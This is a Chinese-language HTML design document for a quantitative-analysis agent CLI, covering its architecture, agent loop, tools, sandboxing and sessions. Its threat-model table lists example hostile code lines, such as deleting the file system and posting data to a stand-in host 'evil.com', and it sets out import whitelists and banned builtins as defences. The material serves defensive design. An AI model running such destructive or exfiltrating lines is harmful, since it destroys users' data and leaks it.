633 lines
23 KiB
HTML
633 lines
23 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="zh-CN">
|
||
<head>
|
||
<meta charset="UTF-8">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
<title>量化分析 Agent CLI — 业务逻辑设计</title>
|
||
<style>
|
||
:root {
|
||
--bg: #0d1117;
|
||
--surface: #161b22;
|
||
--border: #30363d;
|
||
--text: #e6edf3;
|
||
--muted: #8b949e;
|
||
--accent: #58a6ff;
|
||
--green: #3fb950;
|
||
--orange: #d2991d;
|
||
--red: #f85149;
|
||
--purple: #a371f7;
|
||
}
|
||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||
body {
|
||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif;
|
||
background: var(--bg);
|
||
color: var(--text);
|
||
line-height: 1.6;
|
||
max-width: 960px;
|
||
margin: 0 auto;
|
||
padding: 40px 24px;
|
||
}
|
||
h1 { font-size: 2em; border-bottom: 1px solid var(--border); padding-bottom: 12px; margin-bottom: 8px; }
|
||
h2 { font-size: 1.4em; margin-top: 48px; margin-bottom: 16px; border-bottom: 1px solid var(--border); padding-bottom: 8px; }
|
||
h3 { font-size: 1.1em; margin-top: 32px; margin-bottom: 12px; color: var(--accent); }
|
||
p { margin-bottom: 16px; color: var(--muted); }
|
||
strong { color: var(--text); }
|
||
code {
|
||
background: var(--surface);
|
||
border: 1px solid var(--border);
|
||
border-radius: 4px;
|
||
padding: 1px 6px;
|
||
font-family: "SF Mono", "Fira Code", Consolas, monospace;
|
||
font-size: 0.9em;
|
||
}
|
||
pre {
|
||
background: var(--surface);
|
||
border: 1px solid var(--border);
|
||
border-radius: 6px;
|
||
padding: 16px;
|
||
overflow-x: auto;
|
||
margin-bottom: 16px;
|
||
font-size: 0.85em;
|
||
}
|
||
pre code { background: none; border: none; padding: 0; }
|
||
.callout {
|
||
border-left: 3px solid var(--accent);
|
||
padding: 12px 16px;
|
||
margin: 24px 0;
|
||
background: rgba(88,166,255,0.06);
|
||
border-radius: 0 6px 6px 0;
|
||
}
|
||
.callout.green { border-left-color: var(--green); background: rgba(63,185,80,0.06); }
|
||
.callout.orange { border-left-color: var(--orange); background: rgba(210,153,29,0.06); }
|
||
.callout.red { border-left-color: var(--red); background: rgba(248,81,73,0.06); }
|
||
ul, ol { margin-bottom: 16px; padding-left: 24px; color: var(--muted); }
|
||
li { margin-bottom: 6px; }
|
||
table {
|
||
width: 100%; border-collapse: collapse; margin-bottom: 24px;
|
||
font-size: 0.9em;
|
||
}
|
||
th, td {
|
||
text-align: left; padding: 8px 12px;
|
||
border-bottom: 1px solid var(--border);
|
||
}
|
||
th { color: var(--text); font-weight: 600; }
|
||
td { color: var(--muted); }
|
||
.tag {
|
||
display: inline-block;
|
||
border-radius: 12px;
|
||
padding: 2px 10px;
|
||
font-size: 0.78em;
|
||
font-weight: 600;
|
||
}
|
||
.tag.decision { background: rgba(88,166,255,0.15); color: var(--accent); }
|
||
.tag.risk { background: rgba(248,81,73,0.15); color: var(--red); }
|
||
.tag.insight { background: rgba(163,113,247,0.15); color: var(--purple); }
|
||
.divider { border: none; border-top: 1px solid var(--border); margin: 48px 0; }
|
||
</style>
|
||
</head>
|
||
<body>
|
||
|
||
<h1>量化分析 Agent CLI</h1>
|
||
<p>工作范围：CLI 层架构、Agent 引擎、工具系统、安全模型、会话管理。不涉及 Web/桌面分发。</p>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>1. 核心洞察</h2>
|
||
|
||
<div class="callout green">
|
||
<strong>量化 agent 的唯一特殊能力：在沙箱里执行它自己写的代码。</strong>
|
||
<br>通用 agent 的 tool 是预定义函数签名；量化 agent 的 tool 的参数本身就是代码。
|
||
</div>
|
||
|
||
<p>这意味着：</p>
|
||
<ul>
|
||
<li><strong>MCP 负责数据抓取</strong>（search、fetch），<strong>Code Runtime 负责计算</strong>（执行、状态管理、可视化）。两者职责不同，不应混用同一协议。</li>
|
||
<li>Tool 设计的颗粒度完全不同——不是 50 个细粒度 finance tool，而是一个 <code>run_python(code)</code> + 一个持久化 session。</li>
|
||
<li>威胁模型特殊：LLM 生成的代码不可信，沙箱隔离是生存问题，不是可选项。</li>
|
||
</ul>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>2. 系统架构</h2>
|
||
|
||
<pre><code>┌──────────────────────────────────────────────┐
|
||
│ CLI Layer (rich / textual / prompt_toolkit) │
|
||
│ 自然语言输入 → 流式渲染 Markdown + 表格 + 图表 │
|
||
├──────────────────────────────────────────────┤
|
||
│ Agent Core (Python) │
|
||
│ │
|
||
│ ┌──────────┐ ┌───────────┐ ┌──────────┐│
|
||
│ │ Planning │ │ Coding │ │ Review ││
|
||
│ │ 拆解任务 │──→│ 生成代码 │──→│ 校验输出 ││
|
||
│ │ 选工具 │ │ 执行+迭代 │ │ 重试/修正 ││
|
||
│ └──────────┘ └───────────┘ └──────────┘│
|
||
│ │ │
|
||
│ ┌─────────┴─────────┐ │
|
||
│ ▼ ▼ │
|
||
│ ┌──────────────┐ ┌──────────────────┐ │
|
||
│ │ Data Tools │ │ Code Runtime │ │
|
||
│ │ (MCP 兼容) │ │ (自定义协议) │ │
|
||
│ │ │ │ │ │
|
||
│ │ search_data │ │ run_python(code) │ │
|
||
│ │ fetch_data │ │ · 沙箱隔离 │ │
|
||
│ │ list_sources │ │ · 持久 session │ │
|
||
│ └──────────────┘ │ · 流式输出 │ │
|
||
│ │ · 图表渲染 │ │
|
||
│ └──────────────────┘ │
|
||
├──────────────────────────────────────────────┤
|
||
│ Session Context │
|
||
│ 挂载数据集 · 变量命名空间 · 因子定义 · 回测结果│
|
||
└──────────────────────────────────────────────┘</code></pre>
|
||
|
||
<h3>2.1 为什么 Data 层用 MCP，Runtime 层不用</h3>
|
||
|
||
<table>
|
||
<tr><th>维度</th><th>Data Tools</th><th>Code Runtime</th></tr>
|
||
<tr><td>协议</td><td>MCP（行业标准）</td><td>自定义 JSON-RPC（轻量）</td></tr>
|
||
<tr><td>原因</td><td>可复用生态（未来换数据源零成本）</td><td>MCP 的强类型 schema 对代码字符串无意义</td></tr>
|
||
<tr><td>工具粒度</td><td>细：每个操作一个 tool</td><td>粗：一个 <code>run</code> tool = 无限能力</td></tr>
|
||
<tr><td>状态模型</td><td>无状态（每次调用独立）</td><td>有状态（session 内变量持久）</td></tr>
|
||
<tr><td>安全边界</td><td>可信（开发者写的代码）</td><td>不可信（LLM 生成的代码），需要沙箱</td></tr>
|
||
</table>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>3. Agent Loop 设计</h2>
|
||
|
||
<h3>3.1 核心循环</h3>
|
||
|
||
<pre><code>用户输入: "找出沪深300市盈率最低的10只股票，按行业分组统计，画图"
|
||
|
||
┌─────────────────────────────────────────────┐
|
||
│ STEP 1: Plan │
|
||
│ LLM 输出: │
|
||
│ - 需要数据: 沪深300成分股 + PE + 行业分类 │
|
||
│ - 需要工具: search_data, fetch_data │
|
||
│ - 步骤: 取数→过滤→切片→画图 │
|
||
├─────────────────────────────────────────────┤
|
||
│ STEP 2: Act (tool calls) │
|
||
│ search_data("沪深300成分股") │
|
||
│ → 返回: akshare.index_stock_cons("000300") │
|
||
│ fetch_data("index_stock_cons", "000300", │
|
||
│ fields="code,name,pe,industry") │
|
||
│ → 返回: DataFrame(300 rows × 4 cols) │
|
||
├─────────────────────────────────────────────┤
|
||
│ STEP 3: Code + Execute │
|
||
│ LLM 生成: │
|
||
│ result = df.nsmallest(10, 'pe_ttm') │
|
||
│ grouped = result.groupby('industry').size()│
|
||
│ fig = grouped.plot.bar() │
|
||
│ run_python(code) → 表格 + 图表 │
|
||
├─────────────────────────────────────────────┤
|
||
│ STEP 4: Review & Respond │
|
||
│ 检查: 输出 10 行? 图表正确? │
|
||
│ 不对 → 修正后重新 run │
|
||
│ 对的 → 渲染 Markdown 表格 + 图表给用户 │
|
||
└─────────────────────────────────────────────┘</code></pre>
|
||
|
||
<h3>3.2 三个子 Agent 的职责</h3>
|
||
|
||
<table>
|
||
<tr><th>角色</th><th>输入</th><th>输出</th><th>System Prompt 要点</th></tr>
|
||
<tr>
|
||
<td><strong>Planner</strong></td>
|
||
<td>用户自然语言 + 会话上下文</td>
|
||
<td>结构化任务计划 + 所需数据清单</td>
|
||
<td>"你是量化策略分析师。输出 YAML 格式的计划，列出数据源、计算步骤、预期输出。"</td>
|
||
</tr>
|
||
<tr>
|
||
<td><strong>Coder</strong></td>
|
||
<td>任务步骤 + 可用数据 schema</td>
|
||
<td>Python 代码（pandas/numpy/mpl）</td>
|
||
<td>"你是 Python 量化开发者。数据库里有这些 DataFrame，写出分析代码。只用 pandas/numpy/matplotlib。不要用任何 IO 操作。"</td>
|
||
</tr>
|
||
<tr>
|
||
<td><strong>Reviewer</strong></td>
|
||
<td>代码输出 + 预期结果描述</td>
|
||
<td>通过 / 修正后的代码</td>
|
||
<td>"你是代码审查者。检查输出是否符合预期。行数对? 数值范围合理? 类型正确? 给出 pass 或修正建议。"</td>
|
||
</tr>
|
||
</table>
|
||
|
||
<div class="callout orange">
|
||
<strong><span class="tag risk">风险</span> 多 Agent 循环的延迟</strong><br>
|
||
每个子 Agent 都是一次 LLM 调用。最坏情况：Plan → Code → Review 失败 → Re-Code → Re-Review = 5 次调用。<br>
|
||
缓解：简单任务跳过 Planner/Reviewer（直接 Coder 一次搞定）；并行化非依赖步骤。
|
||
</div>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>4. 工具系统详细设计</h2>
|
||
|
||
<h3>4.1 Data Tools（MCP 兼容）</h3>
|
||
|
||
<pre><code># MCP Server: akshare-provider
|
||
# 暴露以下 tools:
|
||
|
||
{
|
||
"name": "search_data",
|
||
"description": "搜索可用的数据集。输入关键词，返回匹配的数据集 ID 和描述。",
|
||
"parameters": {
|
||
"keyword": "string // 如 '沪深300', '可转债', '宏观经济'"
|
||
},
|
||
"returns": "[{id, name, description, schema, source}]"
|
||
}
|
||
|
||
{
|
||
"name": "fetch_data",
|
||
"description": "拉取指定数据集。",
|
||
"parameters": {
|
||
"dataset_id": "string",
|
||
"params": "object // 如 {symbol: '000300', start: '2024-01-01'}",
|
||
"limit": "int // 默认 10000"
|
||
},
|
||
"returns": "{columns: [str], dtypes: {col: type}, rows: int, preview: [[...]]}"
|
||
}
|
||
|
||
{
|
||
"name": "list_sources",
|
||
"description": "列出所有已配置的数据源及其状态。",
|
||
"returns": "[{name, status, datasets_count}]"
|
||
}</code></pre>
|
||
|
||
<div class="callout">
|
||
<strong><span class="tag decision">设计决策</span> fetch_data 不返回完整数据</strong><br>
|
||
返回 schema + 前 5 行预览，而不是全部 300 行数据。理由：<br>
|
||
(1) 全量数据通过 context 传给 LLM 会爆炸（token 和延迟）<br>
|
||
(2) LLM 不需要"看"数据，它只需要知道列名和类型就能写代码<br>
|
||
(3) 真正的数据在 Code Runtime 的 session 里，代码执行时直接访问
|
||
</div>
|
||
|
||
<h3>4.2 Code Runtime（自定义协议）</h3>
|
||
|
||
<pre><code># 自定义 JSON-RPC over stdio or HTTP
|
||
|
||
{
|
||
"method": "run",
|
||
"params": {
|
||
"code": "df_result = df.nsmallest(10, 'pe_ttm')",
|
||
"session_id": "sess_abc123",
|
||
"timeout": 30
|
||
},
|
||
"returns": {
|
||
"stdout": "string",
|
||
"stderr": "string",
|
||
"error": "string | null",
|
||
"artifacts": [
|
||
{"type": "dataframe", "name": "df_result", "shape": [10,4],
|
||
"columns": [...], "preview": [[...]]},
|
||
{"type": "image", "path": "/tmp/plot_1.png", "format": "png"},
|
||
{"type": "value", "name": "_", "repr": "0.1523"}
|
||
]
|
||
}
|
||
}
|
||
|
||
{
|
||
"method": "list_vars",
|
||
"params": { "session_id": "sess_abc123" },
|
||
"returns": {
|
||
"variables": [
|
||
{"name": "df", "type": "DataFrame", "shape": [300, 4]},
|
||
{"name": "df_result", "type": "DataFrame", "shape": [10, 4]}
|
||
]
|
||
}
|
||
}
|
||
|
||
{
|
||
"method": "reset",
|
||
"params": { "session_id": "sess_abc123" },
|
||
"returns": { "ok": true }
|
||
}</code></pre>
|
||
|
||
<h3>4.3 变量命名空间的自动挂载</h3>
|
||
|
||
<p>Agent 写完代码后，Code Runtime 自动把 <strong>所有新创建的变量</strong> 注册到 session，下一次 Agent 写代码时直接用。LLM 通过 <code>list_vars</code> 了解当前状态：</p>
|
||
|
||
<pre><code># 第 1 轮：加载数据
|
||
run_python("df = load_csi300_data()")
|
||
→ variables: {df: DataFrame(300×15)}
|
||
|
||
# 第 2 轮：过滤（直接用 df，不需要重新加载）
|
||
run_python("low_pe = df[df['pe_ttm'] < 15]")
|
||
→ variables: {df: …, low_pe: DataFrame(42×15)}
|
||
|
||
# 第 3 轮：分组统计（直接用 low_pe）
|
||
run_python("result = low_pe.groupby('industry')['pe_ttm'].mean().sort_values()")
|
||
→ variables: {df: …, low_pe: …, result: Series(12)}</code></pre>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>5. 安全模型</h2>
|
||
|
||
<h3>5.1 威胁清单</h3>
|
||
|
||
<table>
|
||
<tr><th>威胁</th><th>例子</th><th>严重程度</th></tr>
|
||
<tr><td>文件系统破坏</td><td><code>import os; os.remove("/")</code></td><td><span class="tag risk">致命</span></td></tr>
|
||
<tr><td>数据泄露</td><td><code>requests.post("evil.com", data)</code></td><td><span class="tag risk">致命</span></td></tr>
|
||
<tr><td>资源耗尽</td><td><code>while True: pass</code> / 分配 10GB 内存</td><td><span class="tag risk">高</span></td></tr>
|
||
<tr><td>供应链注入</td><td><code>import malicious_package</code></td><td>中（pip 白名单可控）</td></tr>
|
||
<tr><td>提示注入</td><td>用户在数据里藏 instruction 劫持 agent 行为</td><td>中（数据不应进入 system prompt）</td></tr>
|
||
</table>
|
||
|
||
<h3>5.2 三层沙箱</h3>
|
||
|
||
<pre><code>Layer 1: Python 进程隔离
|
||
subprocess.Popen(["python3", "-c", code])
|
||
├─ 独立进程，崩溃不影响主进程
|
||
├─ 超时机制：signal.SIGALRM 或 subprocess timeout
|
||
└─ 内存限制：resource.setrlimit(RLIMIT_AS, 512MB)
|
||
|
||
Layer 2: 系统级沙箱 (macOS: sandbox-exec, Linux: firejail / Docker)
|
||
├─ 只读文件系统：只挂载必要目录
|
||
├─ 限制网络：只允许白名单域名（数据源 API）
|
||
├─ 禁止子进程：禁止 exec/fork
|
||
└─ CPU 限制：cgroups / nice
|
||
|
||
Layer 3: Python 级限制
|
||
├─ import 白名单：pandas, numpy, matplotlib, scipy, statsmodels
|
||
├─ 禁止 builtins：open, __import__, eval, exec, compile
|
||
└─ RestrictedPython（可选）：编译时 AST 检查</code></pre>
|
||
|
||
<h3>5.3 最小可行安全方案</h3>
|
||
|
||
<div class="callout green">
|
||
<strong>MVP 不需要三层全做。</strong> 先做最容易实施的：
|
||
<ol>
|
||
<li><code>subprocess</code> + 30 秒超时 — 防死循环</li>
|
||
<li><code>import</code> 白名单检查（代码字符串里扫 <code>import X</code>）— 防危险模块</li>
|
||
<li>Docker 容器执行 — 一次性隔离文件系统和网络</li>
|
||
</ol>
|
||
这三件事加起来不到 50 行代码，就能防住 95% 的真实威胁。
|
||
</div>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>6. 会话管理</h2>
|
||
|
||
<h3>6.1 Session 生命周期</h3>
|
||
|
||
<pre><code>quanticli new "A股低估值策略研究"
|
||
→ session_id: "sess_20240723_a1b2c3"
|
||
→ 创建目录 ~/.quanticli/sessions/sess_20240723_a1b2c3/
|
||
├─ history.jsonl # 每轮对话记录
|
||
├─ context.yaml # 当前上下文（数据集、变量、中间结果）
|
||
└─ artifacts/ # 图表、导出 CSV
|
||
|
||
quanticli resume sess_20240723_a1b2c3
|
||
→ 恢复会话：重新加载数据、重建变量命名空间
|
||
→ 用户继续提问
|
||
|
||
quanticli list
|
||
→ 列出所有历史会话
|
||
|
||
quanticli export sess_20240723_a1b2c3
|
||
→ 导出为 Markdown 报告 / Jupyter notebook</code></pre>
|
||
|
||
<h3>6.2 Context 压缩策略</h3>
|
||
|
||
<p>量化会话很容易触达 LLM context 上限。两轮数据操作就可能产生大量文本：</p>
|
||
|
||
<pre><code># 实际情况：一个 DataFrame schema 就几百 token
|
||
"df 有 300 行 15 列：code(str), name(str), open(f64), high(f64),
|
||
low(f64), close(f64), volume(i64), pe_ttm(f64), pb(f64),
|
||
roe(f64), industry(str), market_cap(f64), …"
|
||
|
||
# 再加上代码和输出，三轮对话轻松破 4000 token</code></pre>
|
||
|
||
<p>压缩策略：</p>
|
||
<ul>
|
||
<li><strong>DataFrame 只传 schema</strong>（列名 + 类型），不传数据内容</li>
|
||
<li><strong>代码只保留最后一次正确版本</strong>，中间失败的尝试不保留</li>
|
||
<li><strong>Agent 推理过程归结为"已确定"结论</strong>，不回放完整思考链</li>
|
||
<li>触达 80% context 上限时自动 <strong>摘要压缩</strong>（LLM 自总结前面的分析）</li>
|
||
</ul>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>7. 终端渲染</h2>
|
||
|
||
<h3>7.1 输出渲染能力矩阵</h3>
|
||
|
||
<table>
|
||
<tr><th>内容类型</th><th>渲染方式</th><th>依赖</th></tr>
|
||
<tr>
|
||
<td>普通文本 / Markdown</td>
|
||
<td>rich <code>Markdown</code> 组件，流式追加</td>
|
||
<td><code>rich</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>DataFrame / 表格</td>
|
||
<td>rich <code>Table</code>，自动列宽、对齐</td>
|
||
<td><code>rich</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>柱状图 / 折线图</td>
|
||
<td><code>plotext</code> Unicode 终端绘图</td>
|
||
<td><code>plotext</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>复杂图表 / K 线图</td>
|
||
<td>生成 PNG，Kitty/iTerm2 sixel 协议显示</td>
|
||
<td><code>matplotlib</code> + <code>imgcat</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>LaTeX 公式</td>
|
||
<td>Unicode 近似渲染 or 直接显示 LaTeX 源码</td>
|
||
<td>手动 or <code>latex2unicode</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>代码块</td>
|
||
<td>rich <code>Syntax</code> 语法高亮</td>
|
||
<td><code>rich</code></td>
|
||
</tr>
|
||
</table>
|
||
|
||
<h3>7.2 流式输出的处理</h3>
|
||
|
||
<pre><code>LLM 输出是 token 流，但内容混合了文本和工具调用：
|
||
|
||
文本流: "好的，" → "让我" → "分析" → "一下" → …
|
||
→ 逐 token 打印到终端（打字机效果）
|
||
|
||
工具调用（JSON 块）: {"tool": "run_python", "code": "..."}
|
||
→ 显示为 [⚙ Running analysis...]
|
||
→ 拿到结果后追加表格/图表
|
||
→ 继续流式文本
|
||
|
||
实现要点:
|
||
- LLM 响应用 SSE stream
|
||
- 解析器判断当前 token 属于 text 还是 tool_call
|
||
- text → 直接 print flush
|
||
- tool_call → 缓冲完整 JSON → 执行 → 渲染 result</code></pre>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>8. 配置文件设计</h2>
|
||
|
||
<pre><code># ~/.quanticli/config.yaml
|
||
|
||
model:
|
||
provider: anthropic # anthropic | openai | local
|
||
model: claude-sonnet-4-20250514
|
||
# api_key: ${ANTHROPIC_API_KEY} # 从环境变量读取
|
||
|
||
execution:
|
||
sandbox: docker # docker | subprocess | none
|
||
timeout: 60 # 每次代码执行超时（秒）
|
||
max_memory_mb: 512
|
||
allowed_imports:
|
||
- pandas
|
||
- numpy
|
||
- matplotlib
|
||
- scipy.stats
|
||
- statsmodels.api
|
||
|
||
data_sources:
|
||
- name: akshare
|
||
type: mcp
|
||
command: ["uvx", "akshare-mcp-server"]
|
||
- name: tushare
|
||
type: mcp
|
||
command: ["uvx", "tushare-mcp-server"]
|
||
env:
|
||
TUSHARE_TOKEN: ${TUSHARE_TOKEN}
|
||
- name: local_csv
|
||
type: directory
|
||
path: ~/quant_data/
|
||
|
||
display:
|
||
max_table_rows: 20
|
||
max_column_width: 30
|
||
chart_backend: unicode # unicode | sixel | none
|
||
theme: dark # dark | light
|
||
|
||
session:
|
||
storage_dir: ~/.quanticli/sessions/
|
||
auto_save: true
|
||
context_limit_tokens: 80000
|
||
auto_summarize_threshold: 0.8 # 80% 触发压缩</code></pre>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>9. MVP 范围</h2>
|
||
|
||
<div class="callout green">
|
||
<strong>目标：2 周内可用的单文件原型。</strong> 不追求架构完美，只验证核心体验。
|
||
</div>
|
||
|
||
<h3>9.1 MVP 包含</h3>
|
||
|
||
<table>
|
||
<tr><th>组件</th><th>范围</th><th>技术</th></tr>
|
||
<tr>
|
||
<td>CLI 入口</td>
|
||
<td><code>quant "问题"</code> 单次问答</td>
|
||
<td><code>argparse</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Agent Loop</td>
|
||
<td>单 Agent，无 Planner/Reviewer 分工</td>
|
||
<td>自实现 thin wrapper over Anthropic/OpenAI SDK</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Tool: run_python</td>
|
||
<td><code>subprocess.run(["python3", "-c", code], timeout=30)</code></td>
|
||
<td>标准库</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Tool: fetch_data</td>
|
||
<td>直接调 akshare，不包 MCP（走捷径）</td>
|
||
<td><code>akshare</code> pip 包</td>
|
||
</tr>
|
||
<tr>
|
||
<td>输出渲染</td>
|
||
<td>Markdown + 表格 + Unicode 柱状图</td>
|
||
<td><code>rich</code> + <code>plotext</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td>安全</td>
|
||
<td>超时 + import 白名单检查</td>
|
||
<td>标准库</td>
|
||
</tr>
|
||
</table>
|
||
|
||
<h3>9.2 MVP 明确不做</h3>
|
||
|
||
<ul>
|
||
<li>多轮对话（每次独立运行）</li>
|
||
<li>会话持久化</li>
|
||
<li>Docker 沙箱</li>
|
||
<li>MCP 协议接入</li>
|
||
<li>TUI / 交互式 REPL</li>
|
||
<li>多模型路由</li>
|
||
<li>回测框架集成</li>
|
||
</ul>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>10. 关键风险</h2>
|
||
|
||
<table>
|
||
<tr><th>风险</th><th>影响</th><th>缓解</th></tr>
|
||
<tr>
|
||
<td>LLM 写的分析代码有逻辑错误</td>
|
||
<td>用户信任崩塌</td>
|
||
<td>Reviewer Agent 校验 + 输出带置信度标签</td>
|
||
</tr>
|
||
<tr>
|
||
<td>数据源不稳定（akshare 上游挂）</td>
|
||
<td>Agent 直接不可用</td>
|
||
<td>多 provider fallback + 本地缓存常用数据集</td>
|
||
</tr>
|
||
<tr>
|
||
<td>LLM context 不够装复杂分析</td>
|
||
<td>长分析中断</td>
|
||
<td>自动摘要压缩 + 分步执行（不一次全给 LLM）</td>
|
||
</tr>
|
||
<tr>
|
||
<td>执行速度慢（多轮 LLM 调用）</td>
|
||
<td>用户体验差</td>
|
||
<td>小模型做简单步骤 + 并行工具调用</td>
|
||
</tr>
|
||
</table>
|
||
|
||
<hr class="divider">
|
||
|
||
<h2>11. 与竞品的差异化</h2>
|
||
|
||
<table>
|
||
<tr><th>竞品</th><th>模式</th><th>量化能力</th><th>我们的差异</th></tr>
|
||
<tr>
|
||
<td>Claude Code / Cursor</td>
|
||
<td>通用 coding agent</td>
|
||
<td>能写 pandas 但不理解 finance 上下文</td>
|
||
<td>Finance-first system prompt + 数据源内置</td>
|
||
</tr>
|
||
<tr>
|
||
<td>通义千问 / Kimi 金融版</td>
|
||
<td>Chatbot，不能执行代码</td>
|
||
<td>能聊不能算</td>
|
||
<td>我们是 agent，能执行代码</td>
|
||
</tr>
|
||
<tr>
|
||
<td>QuantConnect / 聚宽</td>
|
||
<td>Web IDE + 回测平台</td>
|
||
<td>功能强但学习曲线高</td>
|
||
<td>自然语言交互，零学习成本</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Jupyter + Copilot</td>
|
||
<td>手动 notebook + AI 补全</td>
|
||
<td>灵活但不自动化</td>
|
||
<td>agent 自主规划执行，不是补全</td>
|
||
</tr>
|
||
</table>
|
||
|
||
<div class="callout">
|
||
<strong><span class="tag insight">定位</span></strong>
|
||
我们的位置在 <strong>"能执行代码的量化 Copilot"</strong> 和 <strong>"专业量化平台"</strong> 之间——比 Copilot 更自主，比量化平台门槛更低。
|
||
</div>
|
||
|
||
</body>
|
||
</html> |